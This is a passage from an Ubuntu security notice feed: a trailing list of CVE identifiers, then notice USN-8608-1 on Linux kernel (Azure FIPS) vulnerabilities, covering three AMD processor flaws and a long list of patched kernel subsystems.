CVE-2026-23379, CVE-2026-23381, CVE-2026-23382, CVE-2026-23383,
CVE-2026-23386, CVE-2026-23387, CVE-2026-23388, CVE-2026-23389,
CVE-2026-23391, CVE-2026-23392, CVE-2026-23395, CVE-2026-23396,
CVE-2026-23397, CVE-2026-23398, CVE-2026-23399, CVE-2026-23401,
CVE-2026-23412, CVE-2026-23413, CVE-2026-23414, CVE-2026-23418,
CVE-2026-23419, CVE-2026-23420, CVE-2026-23426, CVE-2026-23428,
CVE-2026-23434, CVE-2026-23438, CVE-2026-23439, CVE-2026-23440,
CVE-2026-23441, CVE-2026-23442, CVE-2026-23444, CVE-2026-23446,
CVE-2026-23447, CVE-2026-23448, CVE-2026-23449, CVE-2026-23450,
CVE-2026-23452, CVE-2026-23454, CVE-2026-23455, CVE-2026-23456,
CVE-2026-23457, CVE-2026-23458, CVE-2026-23460, CVE-2026-23461,
CVE-2026-23462, CVE-2026-23463, CVE-2026-23464, CVE-2026-23465,
CVE-2026-23468, CVE-2026-23470, CVE-2026-23474, CVE-2026-23475,
CVE-2026-31389, CVE-2026-31391, CVE-2026-31392, CVE-2026-31393,
CVE-2026-31394, CVE-2026-31396, CVE-2026-31399, CVE-2026-31400,
CVE-2026-31402, CVE-2026-31403, CVE-2026-31405, CVE-2026-31407,
CVE-2026-31408, CVE-2026-31409, CVE-2026-31411, CVE-2026-31412,
CVE-2026-31414, CVE-2026-31415, CVE-2026-31416, CVE-2026-31417,
CVE-2026-31418, CVE-2026-31421, CVE-2026-31422, CVE-2026-31423,
CVE-2026-31424, CVE-2026-31425, CVE-2026-31426, CVE-2026-31427,
CVE-2026-31428, CVE-2026-31429, CVE-2026-31430, CVE-2026-31432,
CVE-2026-31433, CVE-2026-31436, CVE-2026-31438, CVE-2026-31439,
CVE-2026-31440, CVE-2026-31441, CVE-2026-31446, CVE-2026-31447,
CVE-2026-31448, CVE-2026-31449, CVE-2026-31450, CVE-2026-31451,
CVE-2026-31452, CVE-2026-31453, CVE-2026-31454, CVE-2026-31455,
CVE-2026-31458, CVE-2026-31464, CVE-2026-31466, CVE-2026-31467,
CVE-2026-31469, CVE-2026-31470, CVE-2026-31473, CVE-2026-31474,
CVE-2026-31476, CVE-2026-31477, CVE-2026-31478, CVE-2026-31480,
CVE-2026-31482, CVE-2026-31483, CVE-2026-31485, CVE-2026-31487,
CVE-2026-31488, CVE-2026-31489, CVE-2026-31492, CVE-2026-31494,
CVE-2026-31495, CVE-2026-31496, CVE-2026-31497, CVE-2026-31498,
CVE-2026-31499, CVE-2026-31500, CVE-2026-31502, CVE-2026-31503,
CVE-2026-31505, CVE-2026-31506, CVE-2026-31507, CVE-2026-31508,
CVE-2026-31509, CVE-2026-31510, CVE-2026-31511, CVE-2026-31512,
CVE-2026-31515, CVE-2026-31516, CVE-2026-31518, CVE-2026-31519,
CVE-2026-31520, CVE-2026-31521, CVE-2026-31522, CVE-2026-31523,
CVE-2026-31524, CVE-2026-31525, CVE-2026-31527, CVE-2026-31528,
CVE-2026-31530, CVE-2026-31532, CVE-2026-31540, CVE-2026-31542,
CVE-2026-31545, CVE-2026-31546, CVE-2026-31548, CVE-2026-31549,
CVE-2026-31550, CVE-2026-31551, CVE-2026-31552, CVE-2026-31554,
CVE-2026-31555, CVE-2026-31556, CVE-2026-31557, CVE-2026-31563,
CVE-2026-31565, CVE-2026-31566, CVE-2026-31570, CVE-2026-31575,
CVE-2026-31576, CVE-2026-31577, CVE-2026-31578, CVE-2026-31580,
CVE-2026-31581, CVE-2026-31582, CVE-2026-31583, CVE-2026-31584,
CVE-2026-31585, CVE-2026-31586, CVE-2026-31587, CVE-2026-31588,
CVE-2026-31590, CVE-2026-31594, CVE-2026-31595, CVE-2026-31596,
CVE-2026-31597, CVE-2026-31598, CVE-2026-31599, CVE-2026-31602,
CVE-2026-31603, CVE-2026-31604, CVE-2026-31605, CVE-2026-31606,
CVE-2026-31607, CVE-2026-31610, CVE-2026-31611, CVE-2026-31612,
CVE-2026-31613, CVE-2026-31615, CVE-2026-31616, CVE-2026-31617,
CVE-2026-31618, CVE-2026-31619, CVE-2026-31622, CVE-2026-31623,
CVE-2026-31624, CVE-2026-31625, CVE-2026-31626, CVE-2026-31627,
CVE-2026-31628, CVE-2026-31629, CVE-2026-31634, CVE-2026-31637,
CVE-2026-31638, CVE-2026-31639, CVE-2026-31642, CVE-2026-31645,
CVE-2026-31646, CVE-2026-31648, CVE-2026-31649, CVE-2026-31651,
CVE-2026-31655, CVE-2026-31656, CVE-2026-31657, CVE-2026-31658,
CVE-2026-31659, CVE-2026-31660, CVE-2026-31661, CVE-2026-31662,
CVE-2026-31664, CVE-2026-31665, CVE-2026-31667, CVE-2026-31668,
CVE-2026-31669, CVE-2026-31670, CVE-2026-31671, CVE-2026-31672,
CVE-2026-31673, CVE-2026-31674, CVE-2026-31675, CVE-2026-31677,
CVE-2026-31678, CVE-2026-31679, CVE-2026-31680, CVE-2026-31681,
CVE-2026-31682, CVE-2026-31683, CVE-2026-31684, CVE-2026-31685,
CVE-2026-31686, CVE-2026-31687, CVE-2026-31689, CVE-2026-31693,
CVE-2026-31694, CVE-2026-31695, CVE-2026-31696, CVE-2026-31697,
CVE-2026-31698, CVE-2026-31699, CVE-2026-31700, CVE-2026-31701,
CVE-2026-31702, CVE-2026-31704, CVE-2026-31705, CVE-2026-31706,
CVE-2026-31707, CVE-2026-31708, CVE-2026-31709, CVE-2026-31711,
CVE-2026-31712, CVE-2026-31714, CVE-2026-31715, CVE-2026-31716,
CVE-2026-31720, CVE-2026-31721, CVE-2026-31722, CVE-2026-31723,
CVE-2026-31724, CVE-2026-31725, CVE-2026-31726, CVE-2026-31728,
CVE-2026-31729, CVE-2026-31730, CVE-2026-31731, CVE-2026-31737,
CVE-2026-31738, CVE-2026-31740, CVE-2026-31741, CVE-2026-31747,
CVE-2026-31748, CVE-2026-31749, CVE-2026-31751, CVE-2026-31752,
CVE-2026-31754, CVE-2026-31755, CVE-2026-31756, CVE-2026-31758,
CVE-2026-31759, CVE-2026-31761, CVE-2026-31762, CVE-2026-31763,
CVE-2026-31767, CVE-2026-31768, CVE-2026-31770, CVE-2026-31772,
CVE-2026-31773, CVE-2026-31778, CVE-2026-31779, CVE-2026-31780,
CVE-2026-31781, CVE-2026-31788, CVE-2026-43007, CVE-2026-43011,
CVE-2026-43012, CVE-2026-43013, CVE-2026-43014, CVE-2026-43015,
CVE-2026-43016, CVE-2026-43017, CVE-2026-43018, CVE-2026-43019,
CVE-2026-43020, CVE-2026-43023, CVE-2026-43024, CVE-2026-43025,
CVE-2026-43026, CVE-2026-43027, CVE-2026-43028, CVE-2026-43030,
CVE-2026-43032, CVE-2026-43035, CVE-2026-43036, CVE-2026-43037,
CVE-2026-43038, CVE-2026-43040, CVE-2026-43041, CVE-2026-43043,
CVE-2026-43044, CVE-2026-43046, CVE-2026-43047, CVE-2026-43049,
CVE-2026-43050, CVE-2026-43051, CVE-2026-43052, CVE-2026-43054,
CVE-2026-43056, CVE-2026-43057, CVE-2026-43058, CVE-2026-43059,
CVE-2026-43060, CVE-2026-43061, CVE-2026-43062, CVE-2026-43064,
CVE-2026-43065, CVE-2026-43066, CVE-2026-43068, CVE-2026-43069,
CVE-2026-43071, CVE-2026-43072, CVE-2026-43073, CVE-2026-43074,
CVE-2026-43075, CVE-2026-43076, CVE-2026-43079, CVE-2026-43080,
CVE-2026-43081, CVE-2026-43082, CVE-2026-43085, CVE-2026-43086,
CVE-2026-43088, CVE-2026-43089, CVE-2026-43091, CVE-2026-43092,
CVE-2026-43093, CVE-2026-43094, CVE-2026-43098, CVE-2026-43099,
CVE-2026-43103, CVE-2026-43104, CVE-2026-43105, CVE-2026-43107,
CVE-2026-43109, CVE-2026-43110, CVE-2026-43111, CVE-2026-43112,
CVE-2026-43113, CVE-2026-43114, CVE-2026-43117, CVE-2026-43119,
CVE-2026-43120, CVE-2026-43123, CVE-2026-43124, CVE-2026-43128,
CVE-2026-43129, CVE-2026-43130, CVE-2026-43132, CVE-2026-43133,
CVE-2026-43134, CVE-2026-43135, CVE-2026-43136, CVE-2026-43137,
CVE-2026-43139, CVE-2026-43140, CVE-2026-43141, CVE-2026-43143,
CVE-2026-43145, CVE-2026-43147, CVE-2026-43148, CVE-2026-43149,
CVE-2026-43150, CVE-2026-43152, CVE-2026-43153, CVE-2026-43156,
CVE-2026-43157, CVE-2026-43158, CVE-2026-43159, CVE-2026-43162,
CVE-2026-43163, CVE-2026-43167, CVE-2026-43168, CVE-2026-43169,
CVE-2026-43170, CVE-2026-43171, CVE-2026-43173, CVE-2026-43175,
CVE-2026-43180, CVE-2026-43182, CVE-2026-43183, CVE-2026-43184,
CVE-2026-43185, CVE-2026-43186, CVE-2026-43187, CVE-2026-43189,
CVE-2026-43190, CVE-2026-43194, CVE-2026-43196, CVE-2026-43199,
CVE-2026-43200, CVE-2026-43201, CVE-2026-43202, CVE-2026-43203,
CVE-2026-43205, CVE-2026-43206, CVE-2026-43207, CVE-2026-43209,
CVE-2026-43211, CVE-2026-43214, CVE-2026-43215, CVE-2026-43218,
CVE-2026-43221, CVE-2026-43222, CVE-2026-43223, CVE-2026-43225,
CVE-2026-43226, CVE-2026-43227, CVE-2026-43230, CVE-2026-43231,
CVE-2026-43232, CVE-2026-43233, CVE-2026-43236, CVE-2026-43238,
CVE-2026-43239, CVE-2026-43241, CVE-2026-43242, CVE-2026-43244,
CVE-2026-43245, CVE-2026-43246, CVE-2026-43248, CVE-2026-43249,
CVE-2026-43250, CVE-2026-43251, CVE-2026-43252, CVE-2026-43253,
CVE-2026-43255, CVE-2026-43256, CVE-2026-43257, CVE-2026-43261,
CVE-2026-43262, CVE-2026-43264, CVE-2026-43265, CVE-2026-43266,
CVE-2026-43268, CVE-2026-43269, CVE-2026-43270, CVE-2026-43271,
CVE-2026-43273, CVE-2026-43275, CVE-2026-43277, CVE-2026-43278,
CVE-2026-43279, CVE-2026-43281, CVE-2026-43283, CVE-2026-43287,
CVE-2026-43288, CVE-2026-43289, CVE-2026-43291, CVE-2026-43295,
CVE-2026-43296, CVE-2026-43297, CVE-2026-43300, CVE-2026-43302,
CVE-2026-43304, CVE-2026-43312, CVE-2026-43313, CVE-2026-43314,
CVE-2026-43315, CVE-2026-43316, CVE-2026-43317, CVE-2026-43318,
CVE-2026-43319, CVE-2026-43320, CVE-2026-43324, CVE-2026-43327,
CVE-2026-43328, CVE-2026-43329, CVE-2026-43330, CVE-2026-43332,
CVE-2026-43333, CVE-2026-43334, CVE-2026-43336, CVE-2026-43338,
CVE-2026-43339, CVE-2026-43340, CVE-2026-43341, CVE-2026-43342,
CVE-2026-43343, CVE-2026-43345, CVE-2026-43350, CVE-2026-43355,
CVE-2026-43357, CVE-2026-43359, CVE-2026-43360, CVE-2026-43361,
CVE-2026-43363, CVE-2026-43365, CVE-2026-43366, CVE-2026-43368,
CVE-2026-43370, CVE-2026-43372, CVE-2026-43373, CVE-2026-43377,
CVE-2026-43378, CVE-2026-43380, CVE-2026-43381, CVE-2026-43382,
CVE-2026-43383, CVE-2026-43384, CVE-2026-43386, CVE-2026-43387,
CVE-2026-43395, CVE-2026-43397, CVE-2026-43405, CVE-2026-43406,
CVE-2026-43407, CVE-2026-43408, CVE-2026-43409, CVE-2026-43411,
CVE-2026-43412, CVE-2026-43413, CVE-2026-43414, CVE-2026-43415,
CVE-2026-43419, CVE-2026-43420, CVE-2026-43421, CVE-2026-43424,
CVE-2026-43425, CVE-2026-43426, CVE-2026-43427, CVE-2026-43428,
CVE-2026-43429, CVE-2026-43430, CVE-2026-43432, CVE-2026-43436,
CVE-2026-43437, CVE-2026-43439, CVE-2026-43441, CVE-2026-43445,
CVE-2026-43448, CVE-2026-43449, CVE-2026-43450, CVE-2026-43451,
CVE-2026-43452, CVE-2026-43453, CVE-2026-43455, CVE-2026-43456,
CVE-2026-43457, CVE-2026-43458, CVE-2026-43459, CVE-2026-43466,
CVE-2026-43467, CVE-2026-43468, CVE-2026-43469, CVE-2026-43471,
CVE-2026-43472, CVE-2026-43473, CVE-2026-43475, CVE-2026-43476,
CVE-2026-43480, CVE-2026-43483, CVE-2026-43484, CVE-2026-43488,
CVE-2026-43490, CVE-2026-43491, CVE-2026-43492, CVE-2026-43493,
CVE-2026-43495, CVE-2026-43496, CVE-2026-43497, CVE-2026-43499,
CVE-2026-43501, CVE-2026-43502, CVE-2026-45834, CVE-2026-45835,
CVE-2026-45836, CVE-2026-45838, CVE-2026-45839, CVE-2026-45840,
CVE-2026-45841, CVE-2026-45842, CVE-2026-45843, CVE-2026-45844,
CVE-2026-45845, CVE-2026-45846, CVE-2026-45847, CVE-2026-45848,
CVE-2026-45849, CVE-2026-45851, CVE-2026-45852, CVE-2026-45855,
CVE-2026-45856, CVE-2026-45857, CVE-2026-45858, CVE-2026-45859,
CVE-2026-45860, CVE-2026-45861, CVE-2026-45862, CVE-2026-45864,
CVE-2026-45865, CVE-2026-45866, CVE-2026-45867, CVE-2026-45868,
CVE-2026-45869, CVE-2026-45870, CVE-2026-45871, CVE-2026-45872,
CVE-2026-45873, CVE-2026-45875, CVE-2026-45877, CVE-2026-45878,
CVE-2026-45879, CVE-2026-45880, CVE-2026-45881, CVE-2026-45882,
CVE-2026-45883, CVE-2026-45884, CVE-2026-45885, CVE-2026-45886,
CVE-2026-45890, CVE-2026-45891, CVE-2026-45893, CVE-2026-45895,
CVE-2026-45899, CVE-2026-45902, CVE-2026-45904, CVE-2026-45905,
CVE-2026-45910, CVE-2026-45911, CVE-2026-45912, CVE-2026-45913,
CVE-2026-45914, CVE-2026-45915, CVE-2026-45916, CVE-2026-45917,
CVE-2026-45919, CVE-2026-45920, CVE-2026-45921, CVE-2026-45923,
CVE-2026-45924, CVE-2026-45928, CVE-2026-45935, CVE-2026-45936,
CVE-2026-45938, CVE-2026-45941, CVE-2026-45942, CVE-2026-45943,
CVE-2026-45946, CVE-2026-45947, CVE-2026-45948, CVE-2026-45954,
CVE-2026-45956, CVE-2026-45957, CVE-2026-45958, CVE-2026-45960,
CVE-2026-45962, CVE-2026-45964, CVE-2026-45965, CVE-2026-45968,
CVE-2026-45969, CVE-2026-45970, CVE-2026-45972, CVE-2026-45973,
CVE-2026-45974, CVE-2026-45976, CVE-2026-45978, CVE-2026-45981,
CVE-2026-45982, CVE-2026-45983, CVE-2026-45984, CVE-2026-45985,
CVE-2026-45986, CVE-2026-45987, CVE-2026-45988, CVE-2026-45989,
CVE-2026-45991, CVE-2026-45994, CVE-2026-45996, CVE-2026-45997,
CVE-2026-45999, CVE-2026-46002, CVE-2026-46003, CVE-2026-46004,
CVE-2026-46005, CVE-2026-46006, CVE-2026-46007, CVE-2026-46009,
CVE-2026-46011, CVE-2026-46012, CVE-2026-46015, CVE-2026-46016,
CVE-2026-46018, CVE-2026-46019, CVE-2026-46021, CVE-2026-46022,
CVE-2026-46023, CVE-2026-46024, CVE-2026-46026, CVE-2026-46027,
CVE-2026-46031, CVE-2026-46033, CVE-2026-46037, CVE-2026-46038,
CVE-2026-46040, CVE-2026-46041, CVE-2026-46043, CVE-2026-46044,
CVE-2026-46046, CVE-2026-46047, CVE-2026-46049, CVE-2026-46050,
CVE-2026-46051, CVE-2026-46052, CVE-2026-46053, CVE-2026-46056,
CVE-2026-46058, CVE-2026-46061, CVE-2026-46062, CVE-2026-46063,
CVE-2026-46064, CVE-2026-46065, CVE-2026-46068, CVE-2026-46069,
CVE-2026-46070, CVE-2026-46072, CVE-2026-46073, CVE-2026-46075,
CVE-2026-46076, CVE-2026-46077, CVE-2026-46078, CVE-2026-46079,
CVE-2026-46080, CVE-2026-46082, CVE-2026-46083, CVE-2026-46084,
CVE-2026-46086, CVE-2026-46088, CVE-2026-46089, CVE-2026-46090,
CVE-2026-46091, CVE-2026-46092, CVE-2026-46094, CVE-2026-46098,
CVE-2026-46099, CVE-2026-46101, CVE-2026-46102, CVE-2026-46103,
CVE-2026-46106, CVE-2026-46107, CVE-2026-46108, CVE-2026-46110,
CVE-2026-46111, CVE-2026-46112, CVE-2026-46113, CVE-2026-46114,
CVE-2026-46115, CVE-2026-46116, CVE-2026-46117, CVE-2026-46119,
CVE-2026-46120, CVE-2026-46121, CVE-2026-46122, CVE-2026-46123,
CVE-2026-46124, CVE-2026-46125, CVE-2026-46126, CVE-2026-46127,
CVE-2026-46128, CVE-2026-46129, CVE-2026-46131, CVE-2026-46132,
CVE-2026-46133, CVE-2026-46135, CVE-2026-46136, CVE-2026-46137,
CVE-2026-46138, CVE-2026-46139, CVE-2026-46142, CVE-2026-46143,
CVE-2026-46144, CVE-2026-46145, CVE-2026-46146, CVE-2026-46149,
CVE-2026-46150, CVE-2026-46151, CVE-2026-46152, CVE-2026-46157,
CVE-2026-46159, CVE-2026-46160, CVE-2026-46161, CVE-2026-46163,
CVE-2026-46164, CVE-2026-46167, CVE-2026-46168, CVE-2026-46169,
CVE-2026-46172, CVE-2026-46173, CVE-2026-46174, CVE-2026-46176,
CVE-2026-46177, CVE-2026-46178, CVE-2026-46179, CVE-2026-46180,
CVE-2026-46184, CVE-2026-46185, CVE-2026-46186, CVE-2026-46187,
CVE-2026-46189, CVE-2026-46190, CVE-2026-46191, CVE-2026-46193,
CVE-2026-46194, CVE-2026-46195, CVE-2026-46196, CVE-2026-46197,
CVE-2026-46198, CVE-2026-46199, CVE-2026-46200, CVE-2026-46201,
CVE-2026-46204, CVE-2026-46205, CVE-2026-46206, CVE-2026-46207,
CVE-2026-46208, CVE-2026-46209, CVE-2026-46211, CVE-2026-46212,
CVE-2026-46214, CVE-2026-46218, CVE-2026-46219, CVE-2026-46220,
CVE-2026-46225, CVE-2026-46226, CVE-2026-46227, CVE-2026-46229,
CVE-2026-46230, CVE-2026-46231, CVE-2026-46232, CVE-2026-46233,
CVE-2026-46234, CVE-2026-46235, CVE-2026-46236, CVE-2026-46238,
CVE-2026-46241, CVE-2026-46243, CVE-2026-46244, CVE-2026-46246,
CVE-2026-46247, CVE-2026-46249, CVE-2026-46250, CVE-2026-46251,
CVE-2026-46253, CVE-2026-46254, CVE-2026-46255, CVE-2026-46259,
CVE-2026-46260, CVE-2026-46261, CVE-2026-46265, CVE-2026-46266,
CVE-2026-46267, CVE-2026-46270, CVE-2026-46273, CVE-2026-46274,
CVE-2026-46280, CVE-2026-46282, CVE-2026-46285, CVE-2026-46286,
CVE-2026-46287, CVE-2026-46289, CVE-2026-46291, CVE-2026-46292,
CVE-2026-46293, CVE-2026-46294, CVE-2026-46296, CVE-2026-46299,
CVE-2026-46301, CVE-2026-46303, CVE-2026-46304, CVE-2026-46306,
CVE-2026-46307, CVE-2026-46312, CVE-2026-46314, CVE-2026-46319,
CVE-2026-46328, CVE-2026-52911, CVE-2026-52920, CVE-2026-52925,
CVE-2026-52933, CVE-2026-52936, CVE-2026-52951, CVE-2026-52954,
CVE-2026-52955, CVE-2026-52957, CVE-2026-52958, CVE-2026-52961,
CVE-2026-52962, CVE-2026-52963, CVE-2026-52964, CVE-2026-52967,
CVE-2026-52968, CVE-2026-52969, CVE-2026-52970, CVE-2026-52974,
CVE-2026-52975, CVE-2026-52977, CVE-2026-52981, CVE-2026-52982,
CVE-2026-52984, CVE-2026-52985, CVE-2026-52986, CVE-2026-52989,
CVE-2026-52990, CVE-2026-52992, CVE-2026-52993, CVE-2026-52995,
CVE-2026-52998, CVE-2026-52999, CVE-2026-53001, CVE-2026-53002,
CVE-2026-53003, CVE-2026-53004, CVE-2026-53006, CVE-2026-53011,
CVE-2026-53012, CVE-2026-53013, CVE-2026-53014, CVE-2026-53015,
CVE-2026-53016, CVE-2026-53021, CVE-2026-53022, CVE-2026-53023,
CVE-2026-53032, CVE-2026-53033, CVE-2026-53034, CVE-2026-53035,
CVE-2026-53036, CVE-2026-53037, CVE-2026-53039, CVE-2026-53040,
CVE-2026-53041, CVE-2026-53043, CVE-2026-53045, CVE-2026-53046,
CVE-2026-53047, CVE-2026-53048, CVE-2026-53049, CVE-2026-53050,
CVE-2026-53052, CVE-2026-53056, CVE-2026-53058, CVE-2026-53059,
CVE-2026-53060, CVE-2026-53061, CVE-2026-53062, CVE-2026-53063,
CVE-2026-53064, CVE-2026-53065, CVE-2026-53066, CVE-2026-53068,
CVE-2026-53069, CVE-2026-53071, CVE-2026-53072, CVE-2026-53073,
CVE-2026-53074, CVE-2026-53075, CVE-2026-53076, CVE-2026-53077,
CVE-2026-53082, CVE-2026-53083, CVE-2026-53084, CVE-2026-53085,
CVE-2026-53086, CVE-2026-53088, CVE-2026-53093, CVE-2026-53094,
CVE-2026-53096, CVE-2026-53097, CVE-2026-53098, CVE-2026-53110,
CVE-2026-53111, CVE-2026-53112, CVE-2026-53115, CVE-2026-53117,
CVE-2026-53122, CVE-2026-53123, CVE-2026-53126, CVE-2026-53128,
CVE-2026-53130, CVE-2026-53279, CVE-2026-53287, CVE-2026-53289,
CVE-2026-53291, CVE-2026-53293, CVE-2026-53294, CVE-2026-53295,
CVE-2026-53296, CVE-2026-53303, CVE-2026-53304, CVE-2026-53306,
CVE-2026-53309, CVE-2026-53314, CVE-2026-53320, CVE-2026-53369,
CVE-2026-53374, CVE-2026-53375, CVE-2026-53376, CVE-2026-53379,
CVE-2026-63838, CVE-2026-63843, CVE-2026-63844, CVE-2026-63845,
CVE-2026-63846, CVE-2026-63847, CVE-2026-63848, CVE-2026-63851,
CVE-2026-63852, CVE-2026-63854, CVE-2026-63855, CVE-2026-63856,
CVE-2026-63860, CVE-2026-63861, CVE-2026-63862, CVE-2026-63865,
CVE-2026-64018, CVE-2026-64034)


USN-8608-1: Linux kernel (Azure FIPS) vulnerabilities
Fri, 24 Jul 2026 14:17:38 +0200
It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

It was discovered that some AMD Zen 5 processors supporting RDSEED
instruction did not properly handle entropy, potentially resulting in the
consumption of insufficiently random values. A local attacker could
possibly use this issue to influence the values returned by the RDSEED
instruction causing loss of confidentiality and integrity. (CVE-2025-62626)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM64 architecture;
  - RISC-V architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - Compute Acceleration Framework;
  - ACPI drivers;
  - Serial ATA and Parallel ATA drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - Rados block device (RBD) driver;
  - Compressed RAM block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - Clock framework and drivers;
  - Data acquisition framework and drivers;
  - Counter interface drivers;
  - CPU frequency scaling framework;
  - Hardware crypto device drivers;
  - CXL (Compute Express Link) drivers;
  - DMA engine subsystem;
  - EDAC drivers;
  - EFI core;
  - GPU drivers;
  - Greybus drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO ADC drivers;
  - IIO subsystem;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IRQ chip drivers;
  - LED subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Fastrpc Driver;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - Ethernet team driver;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - Device tree and open firmware driver;
  - PCI subsystem;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Generic PM domains;
  - i.MX PM domains;
  - Remote Processor subsystem;
  - S/390 drivers;
  - SCSI subsystem;
  - SLIMbus drivers;
  - Freescale SoC drivers;
  - Microchip PolarFire SoC system controller driver;
  - SPI subsystem;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - Thermal drivers;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - USB Type-C Connector System Software Interface driver;
  - VFIO drivers;
  - Framebuffer layer;
  - TSM TDX Guest driver;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - Journaling layer for block devices (JBD2);
  - Network file systems library;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - Tracing file system;
  - UDF file system;
  - XFS file system;
  - Kernel CPU control infrastructure;
  - QorIQ DPAA2 FSL-MC bus driver;
  - Memory Management;
  - Integrity Measurement Architecture(IMA) framework;
  - KVM subsystem;
  - Memory management;
  - Networking core;
  - padata parallel execution mechanism;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Tracing infrastructure;
  - Network traffic control;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IP tunnels definitions;
  - MAC80211 subsystem;
  - Netfilter;
  - User-space API (UAPI);
  - io_uring subsystem;
  - Audit subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Perf events;
  - Kernel exit() syscall;
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - KProbes tracing;
  - Locking primitives;
  - Kernel module support;
  - Padata parallel execution mechanism;
  - Cryptographic library;
  - Heterogeneous memory management;
  - KASAN memory debugging framework;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Bluetooth subsystem;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - IPv6 networking;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Packet sockets;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - Landlock security;
  - ALSA framework;
  - Generic PCM loopback sound driver;
  - FireWire sound drivers;
  - HD-audio driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - QCOM ASoC drivers;
  - Renesas ASoC drivers;
  - Samsung ASoC drivers;
  - SoC audio core drivers;
  - SOF drivers;
  - STI ASoC drivers;
  - USB sound devices;
  - Objtool;
(CVE-2025-21709, CVE-2025-22116, CVE-2025-38426, CVE-2025-39764,
CVE-2025-40135, CVE-2025-40150, CVE-2025-68175, CVE-2025-68239,
CVE-2025-68334, CVE-2025-68736, CVE-2025-71152, CVE-2025-71161,
CVE-2025-71203, CVE-2025-71221, CVE-2025-71269, CVE-2025-71287,
CVE-2025-71288, CVE-2026-22981, CVE-2026-22985, CVE-2026-22993,
CVE-2026-23004, CVE-2026-23066, CVE-2026-23104, CVE-2026-23118,
CVE-2026-23138, CVE-2026-23154, CVE-2026-23157, CVE-2026-23171,
CVE-2026-23207, CVE-2026-23226, CVE-2026-23227, CVE-2026-23244,
CVE-2026-23245, CVE-2026-23246, CVE-2026-23253, CVE-2026-23255,
CVE-2026-23270, CVE-2026-23271, CVE-2026-23276, CVE-2026-23277,
CVE-2026-23279, CVE-2026-23281, CVE-2026-23284, CVE-2026-23285,
CVE-2026-23286, CVE-2026-23287, CVE-2026-23289, CVE-2026-23290,
CVE-2026-23291, CVE-2026-23292, CVE-2026-23293, CVE-2026-23296,
CVE-2026-23298, CVE-2026-23300, CVE-2026-23302, CVE-2026-23303,
CVE-2026-23304, CVE-2026-23306, CVE-2026-23307, CVE-2026-23308,
CVE-2026-23310, CVE-2026-23312, CVE-2026-23313, CVE-2026-23315,
CVE-2026-23317, CVE-2026-23318, CVE-2026-23319, CVE-2026-23321,
CVE-2026-23324, CVE-2026-23325, CVE-2026-23330, CVE-2026-23334,
CVE-2026-23335, CVE-2026-23336, CVE-2026-23339, CVE-2026-23340,
CVE-2026-23343, CVE-2026-23347, CVE-2026-23352, CVE-2026-23356,
CVE-2026-23357, CVE-2026-23359, CVE-2026-23360, CVE-2026-23361,
CVE-2026-23362, CVE-2026-23363, CVE-2026-23364, CVE-2026-23365,
CVE-2026-23367, CVE-2026-23368, CVE-2026-23369, CVE-2026-23370,
CVE-2026-23372, CVE-2026-23374, CVE-2026-23375, CVE-2026-23378,
CVE-2026-23379, CVE-2026-23381, CVE-2026-23382, CVE-2026-23383,
CVE-2026-23386, CVE-2026-23387, CVE-2026-23388, CVE-2026-23389,
CVE-2026-23391, CVE-2026-23395, CVE-2026-23396, CVE-2026-23397,
CVE-2026-23398, CVE-2026-23399, CVE-2026-23401, CVE-2026-23412,
